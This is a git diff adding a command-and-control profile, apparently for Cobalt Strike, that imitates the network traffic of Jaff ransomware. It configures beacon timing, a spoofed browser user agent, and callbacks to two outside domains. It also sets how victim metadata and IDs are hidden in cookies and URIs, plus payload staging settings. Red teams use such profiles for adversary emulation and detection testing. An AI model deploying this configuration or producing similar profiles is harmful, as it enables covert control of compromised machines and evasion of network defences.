diff --git a/crimeware/jaff.profile b/crimeware/jaff.profile new file mode 100644 index 0000000..52c1eba --- /dev/null +++ b/crimeware/jaff.profile @@ -0,0 +1,116 @@ +#jaff ransomware +#mostly taken from --> https://isc.sans.edu/forums/diary/Jaff+ransomware+gets+a+makeover/22446/ +#xx0hcd + + +set sleeptime "30000"; +set jitter "20"; +set useragent "Mozilla/5.2 (Windows NT 6.2; rv:50.2) Gecko/20200103 Firefox/50.2"; +set dns_idle "8.8.8.8"; +set maxdns "235"; + +#initial +http-get { + + set uri "/af/fgJds2U"; + + client { + + header "Accept" "*/*"; + header "Accept-Language" "en-US"; + header "Host" "minnessotaswordfishh.com"; + header "Accept-Encoding" "gzip, deflate"; + header "Connection" "Keep-Alive"; + + + metadata { + netbios; + header "Cookie"; + + + } + + + } + + server { + + header "Server" "nginx"; + header "Etag" "15caf86-3b000-550323b001000"; + header "Connection" "Keep-Alive"; + header "Accept-Ranges" "bytes"; + + + output { + netbios; + + prepend ".l.q`Yo7sQIC..nA.cGlBQTu#Ptk93ZQI6cqcYo7wQIClmnA1cGlBQTucPtk.3ZQG)..c.f.V.H..L:)X.g.)>3..=T.X]4=...C+.YW8'c('="; + + append ")*+......t...z.....&...4........*...H....{.....%8';+...1cGlBQTu3.tku2^Q~|G(cYo7w.JClBQTucPtk..."; + print; + } + } +} +#post infection +http-post { + + set uri "/a5/"; + set verb "GET"; + + client { + + header "Host" "maximusstafastoriesticks.info"; + + output { + base64url; + header "Cookie"; + + } + + id { + base64url; + append ".jaff"; + uri-append; + + } + } + + server { + + header "Server" "nginx"; + header "Content-Type" "text/plain; charset=utf-8"; + header "Connection" "keep-alive"; + header "Etag" "W/'7-rM9AyJuqT6iOan/xHh+AW+7K/T*'"; + + + output { + netbios; + prepend ""; + prepend "Created"; + prepend ""; + prepend ""; + print; + } + } +} + +http-stager { + + + server { + header "Server" "nginx"; + header "Connection" "Keep-Alive"; + header "Accept-Ranges" "bytes"; + + } + + +} + +stage { + #did not see a compile time so used the inspection date given + set compile_time "23 May 2017 21:43:37"; + set userwx "false"; + #size in doc says '241664' c2lint wanted it bigger + set image_size_x86 "281664"; +}